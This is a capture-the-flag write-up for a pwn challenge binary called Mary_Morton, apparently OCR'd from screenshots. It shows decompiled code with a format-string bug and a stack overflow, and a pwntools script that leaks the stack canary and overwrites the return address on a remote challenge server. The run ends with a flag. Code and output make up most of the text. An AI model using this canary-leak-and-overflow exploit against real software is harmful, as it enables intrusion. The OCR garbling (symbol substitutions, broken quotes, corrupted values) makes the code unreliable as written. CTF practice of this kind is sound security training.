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1. HAEE XN ZEER:

tucker@ubuntu:~/xman/pwn$ file Mary_Morton

Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/1,
tucker@ubuntu:~/xman/pwn$ checksec Mary_Morton

[*] '/home/tucker/xman/pwn/Mary_Morton'

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (©x400000)
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void _ fastcall _ noreturn main(__int64 al, char **a2, char **a3)
{

int v3; // [rsp+24h] [rbp-Ch]

unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = _ readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts(“"Select your weapon ");
while ( 1)
{
while ( 1)
{
print_info();
__iso0c99_scanf("%d", &v3);
if (v31=2)
break;
format_string bug();
}
if (v3 ==3)
{
puts("Bye ");
exit(0);
}
if (v3==1)
stack_overflow();
else
puts("Wrong!");
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unsigned __int64 format_string bug()
{
char buf; // [rsp+6h] [rbp-906h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = _ readfsqword(©x28u);

memset (&buf, 0, Ox80uLL);

read(@, &buf, Ox7FulLL);
printf(&buf, &buf);

return __ readfsqword(©x28u) ~ v2;



unsigned __int64 stack_overflow()
{
char buf; // [rsp+6h] [rbp-906h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = _ readfsqword(0x28u);

memset (&uf, ©, Ox80uLL);

read(0, &buf, ©x100uLlL);
printf("-> %s\n", &buf);

return __readfsqword(©x28u) ~ v2;
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tucker@ubuntu:~/xman/pwn$ ./Mary_Morton
Welcome to the battle !

[Great Fairy] level pwned

Select your weapon

1. Stack Bufferoverflow Bug

2. Format String Bug

3. Exit the battle

2

aaaa_Ox7ffc7cff7270_0x7f_Ox7f26cad0ad81_(nil) (nil) @x5f70255f61616161_0x70255f70255f7025_0x255f70255F70255
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# Mary_Morton.py

from pwn import *

sh
sh

process('./Mary_Morton")
remote('111.198.29.45"', '42342")

sh.sendline('2")
sh.sendline("%23%$p")
sh.recvuntil('ex")

canary = int(sh.recv(16), 16)
print hex(canary)

addr = 0x04008DA
payload = 'a' * (0x90 - 0x8) + p64(canary) + p64(61) + p64(addr)

sh.sendline('1")
sh.sendline(payload)

sh.interactive()

HI I 15 2iflag:

tucker@ubuntu:~/xman/pwn$ python Mary_Morton.py

[+] Starting local process './Mary Morton': pid 33483

[+] Opening connection to 111.198.29.45 on port 42342: Done
0x684666ef45e35300

[*] Switching to interactive mode

1. Stack Bufferoverflow Bug

2. Format String Bug

3. Exit the battle

-> adaaaaaalaaaalaaaaaaraaaalraaraaaalraaaaralraaaalraaaararaaaaraaaararaaaararaaaaraaaaradaaaaraaaaaaaaaaaaaaaa
cyberpeace{e5a06ac649a26b9b72f38eee318adove}

[*] Got EOF while reading in interactive

$
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